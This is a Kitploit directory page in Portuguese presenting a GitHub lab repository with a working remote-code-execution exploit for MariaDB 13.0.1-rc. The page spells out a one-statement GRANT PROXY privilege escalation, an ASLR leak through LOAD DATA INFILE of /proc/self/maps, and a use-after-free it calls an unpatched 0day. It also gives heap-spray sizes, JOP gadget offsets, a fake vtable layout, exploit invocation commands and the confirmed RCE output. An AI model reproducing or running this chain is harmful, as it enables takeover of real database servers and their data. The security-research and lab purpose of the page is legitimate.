Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + cadeia JOP para system() como uid 999(mysql) em imagem Docker padrão. Encontrado com RAPTOR e raptor-loop-hunt. | Kitploit
Ferramentas/GitHubGitHub/dinosn/mariadb-13-rce-lab
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoDesenvolvimento de PayloadsSegurança de Banco de DadosExploração de BináriosLabs e Prática
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + cadeia JOP para system() como uid 999(mysql) em imagem Docker padrão. Encontrado com RAPTOR e raptor-loop-hunt.

3361há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Laboratório RCE MariaDB 13.0.1-rc

Execução remota de código na imagem Docker MariaDB 13.0.1-rc original, sem modificações, como uid 999 (mysql).

Duas variantes do exploit:

VarianteArquivoRequisitosNotas
SQL puro (recomendado)exploit_pure_sql.pyuma conta MariaDB de baixo privilégio + TCPsem acesso ao host, sem docker, sem /proc/mem, sem senha de root
PoC assistida pelo hostexploit.pyroot no host Dockerescreve a cadeia JOP via /proc/<pid>/mem

Testado e comprovado em: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 execuções, cada uma com bases ASLR novas).

Modelo de ataque em SQL puro (exploit_pure_sql.py)

O atacante possui apenas:

  • uma conta MariaDB somente com USAGE (o usuário lowpriv do compose) + sua senha, e
  • alcance TCP à porta 3306.

Toda a cadeia é executada como instruções SQL; sem acesso a processos do lado do host, sem comandos docker, sem endereços conhecidos. Cada endereço em tempo de execução é descoberto a partir do próprio alvo via SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> qualquer usuário vira DBA completo (conta root sequestrada, senha vazia).
            Uma única instrução, sem privilégios necessários.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> leitura de arquivo no lado do servidor (privilégio FILE, secure_file_priv
            não definido na imagem original) vaza a base do PIE e a base da libc =
            derrota real do ASLR. As bases mudam a cada execução e são lidas
            do processo vivo.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (variável de usuário de 128 MiB)
         -> a glibc dedica uma região mmap (0x8001000, dados em +0x30).
            Seu endereço é descoberto diffando /proc/self/maps antes/depois
            da alocação - via SQL. Sem envolvimento de /proc/<pid>/mem.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> a cadeia JOP completa (D2, D1, system(), string de comando) é
            escrita por SQL no momento da alocação. O ponteiro autorreferente
            [V+0xa8] = V+0x140 é gravado usando o endereço encontrado no passo 3;
            a glibc reutiliza exatamente o mesmo slot mmap quando o buffer é
            realocado, então o endereço permanece estável (verificado a cada
            iteração, regravado se algum dia mudar).

5. F-05 UAF do SYS_REFCURSOR + heap spray (spray128/grow5/uaf5, binário original)
         -> o array de cursores liberado de 1792 bytes é recuperado com um
            blob de 1784 bytes carregando V no offset 0x20; o despacho virtual
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executa o comando como uid 999(mysql).

6. Prova: o comando escreve um marcador; o servidor trava logo após system()
   retornar (mariadbd é o PID 1 -> o contêiner sai). Reinicie o contêiner e
   leia o marcador.

As únicas operações não-SQL restantes são tarefas pós-exploração: reiniciar o contêiner (já travado) e exibir o arquivo marcador — elas não fazem parte da exploração.

Substituindo os antigos auxiliares do lado do host

Uso (SQL puro)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Requer apenas um cliente mariadb/mysql e Python 3. --container é usado para a exibição final do marcador (reiniciar + cat) e pode ser omitido se o marcador for verificado de outra forma.

Saída final esperada:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Cadeia de vulnerabilidades (ambas as variantes)

1. F-09 — Escalonamento de privilégios (qualquer usuário → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' contorna todas as verificações de privilégio. A cláusula de autenticação vazia faz LEX_USER::has_auth() retornar false (pulando check_alter_user()), enquanto replace_user_table() ainda aplica a senha vazia — substituindo as credenciais do root. Uma única instrução SQL, qualquer usuário autenticado, todas as versões lançadas do MariaDB.

2. Derrota do ASLR via /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' lê o layout completo de memória do processo mariadbd a partir do SQL, revelando os endereços base do PIE e da libc. Funciona com secure_file_priv = NULL (não definido) na imagem original.

3. F-05 — use-after-free do SYS_REFCURSOR (0day, sem correção upstream)

sp_cursor_array::get_cursor_by_ref() retorna um ponteiro interior para um Dynamic_array cujo armazenamento de apoio é realocado por my_realloc durante o crescimento. Quando o método open() de um cursor executa SQL controlado pelo atacante que abre cursores adicionais, o array cresce, o armazenamento antigo é liberado e o ponteiro em cache do chamador fica solto.

O bloco liberado (16 cursores x 112 bytes = 1792 bytes) é recuperado por um heap spray de 128 cópias de variáveis de usuário com 1784 bytes cada (ajuste exato para o bloco da glibc). O payload do spray coloca um ponteiro de vtable controlado no offset 0x20 (o membro result de sp_cursor), que é subsequentemente usado para despacho virtual:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = ponteiro de vtable do atacante (V)
  -> call [rax + 0x20]       ;  chama o gadget D2 (slot da vtable de prepare())

4. Cadeia JOP → system()

Dois gadgets JOP do binário mariadbd original (sem ROP, sem pivô de pilha):

GadgetOffsetInstruçãoPropósito
D2PIE+0x80da77call *0x100(%rax)Correção de alinhamento de pilha
D1PIE+0xe3075b

A vtable falsa V vive no buffer de 128 MiB; layout:

root@kitploit:~
V+0x20  = D2          (slot da vtable de prepare())
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (ponteiro para a string de comando -> rdi)
V+0x100 = D1          (despachante JOP)
V+0x140 = "sh -c '<cmd>'\0"

5. O truque de descoberta de endereço em SQL puro (novo)

O problema do ovo e da galinha de escrever dados JOP autorreferentes antes de saber o endereço do buffer é resolvido pelo comportamento de mmap da glibc:

  1. alocar um buffer marcador de 128 MiB → região mmap dedicada (0x8001000, dados em região+0x30) → endereço encontrado via diff de /proc/self/maps
  2. realocar o buffer com o layout completo (autorreferência = V+0x140) → a glibc faz munmap do bloco antigo e reutiliza o mesmo slot → endereço estável
  3. cada passo é verificado relendo /proc/self/maps; se o endereço algum dia mudar, a autorreferência é regravada e a escrita é tentada novamente (na prática, converge em uma iteração)

Variante assistida pelo host (exploit.py)

Mesma cadeia, mas o layout JOP é escrito no processo via /proc/<pid>/mem a partir do host Docker (requer root), o script de payload é criado via docker exec, e a conexão usa a senha de root do arquivo compose. Mantido como PoC histórica; a variante em SQL puro a substitui.

Notas

  • O UAF do SYS_REFCURSOR (F-05) não tem correção upstream até 2026-08-03 (zero commits em sql/sp_cursor.{cc,h} entre a tag 13.0.1 e o HEAD).
  • A correção do escalonamento de privilégios F-09 (dbd60d0ad8d, MDEV-40470) está em branches de desenvolvimento, mas ausente em todas as versões lançadas (verificado da 13.0.1 até 10.6.27).
  • 128 MiB foi escolhido porque o limite dinâmico de mmap da glibc pode crescer além de 4 MiB após liberações grandes; 128 MiB obtém de forma confiável uma região mmap dedicada (verificado com 128 e 256 MiB; um tamanho maior que max_allowed_packet falha, então SET GLOBAL max_allowed_packet é elevado primeiro e uma nova conexão é usada).
  • O offset dos dados dentro da região mmap é +0x30 nesta imagem/glibc (verificado entre execuções; atualize DATA_OFF se algum dia for diferente).

Descoberto com

  • RAPTOR — Estrutura Autônoma de Pesquisa Ofensiva/Defensiva
  • raptor-loop-hunt — plugin de caça iterativa a vulnerabilidades
Baixar ferramenta
Antigo auxiliar (exploit.py)Substituição em SQL puro
docker inspect → PID + /proc/<pid>/maps do lado do hostLOAD DATA INFILE '/proc/self/maps'
gravações em /proc/<pid>/mem do lado do host para a cadeia JOPlayout embutido via CONCAT/UNHEX na alocação; endereço obtido pelo diff do maps via SQL; a reutilização do slot mmap mantém a autorreferência válida
docker exec ... echo CMD > /tmp/payload_cmd.shstring de comando embutida diretamente no layout JOP
mariadb -uroot -plabpass (senha de root)escalonamento via GRANT PROXY a partir da conta de baixo privilégio
docker exec ... cat MARKERusado somente para exibir a prova
mov rdi,[rax+0xa8]; call [rax+0xa0]
Carrega o ponteiro do comando, chama system()